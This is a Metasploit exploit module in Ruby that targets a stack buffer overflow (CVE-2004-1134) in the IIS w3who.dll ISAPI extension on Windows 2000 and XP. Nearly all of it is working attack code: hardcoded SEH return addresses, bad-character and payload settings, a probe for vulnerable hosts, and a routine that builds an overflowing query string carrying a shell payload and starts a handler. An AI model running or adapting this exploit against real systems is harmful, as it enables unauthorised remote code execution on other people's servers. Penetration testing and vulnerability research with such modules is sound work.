require 'msf/core' module Msf class Exploits::Windows::Isapi::IIS_W3WHO_Overflow < Msf::Exploit::Remote include Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft IIS ISAPI w3who.dll Query String Overflow', 'Description' => %q{ This module exploits a stack overflow in the w3who.dll ISAPI application. This vulnerability was discovered Nicolas Gregoire and this code has been successfully tested against Windows 2000 and Windows XP (SP2). When exploiting Windows XP, the payload must call RevertToSelf before it will be able to spawn a command shell. }, 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'OSVDB', '12258'], [ 'CVE', '2004-1134'], [ 'URL', 'http://www.exaprobe.com/labs/advisories/esa-2004-1206.html'], [ 'MIL', '32'], [ 'BID', '11820'], ], 'Privileged' => false, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 632, 'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20", 'MinNops' => 128, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ ['Windows 2000 RESKIT DLL [Windows 2000]', { 'Rets' => [ 48, 0x01169f4a ] }], # pop, pop, ret magic ['Windows 2000 RESKIT DLL [Windows XP]', { 'Rets' => [ 748, 0x10019f4a ] }], # pop, pop, ret magic ], 'DisclosureDate' => 'Dec 6 2004')) register_options( [ OptString.new('URL', [ true, "The path to w3who.dll", "/scripts/w3who.dll" ]), ], self.class) end # Identify the target based on the IIS version def autofilter res = send_request_raw({ 'uri' => datastore['URL'] }, -1) # Was a vulnerable system detected? if (res and res.body =~ /Access Token/) case res.headers['Server'] when /5\.1/ datastore['TARGET'] = 1 else datastore['TARGET'] = 0 end return true end # Not vulnerable return false end def check res = send_request_raw({ 'uri' => datastore['URL'] }, -1) if (res and res.body =~ /Access Token/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit buf = Rex::Text.rand_text_english(8192, payload_badchars) buf[target['Rets'][0] - 4, 4] = make_nops(2) + "\xeb\x04" buf[target['Rets'][0] - 0, 4] = [ target['Rets'][1] ].pack('V') buf[target['Rets'][0] + 4, 4] = "\xe9" + [-641].pack('V') buf[target['Rets'][0] - 4 - payload.encoded.length, payload.encoded.length] = payload.encoded print_status("Sending request...") r = send_request_raw({ 'uri' => datastore['URL'], 'query' => buf }, 5) handler end end end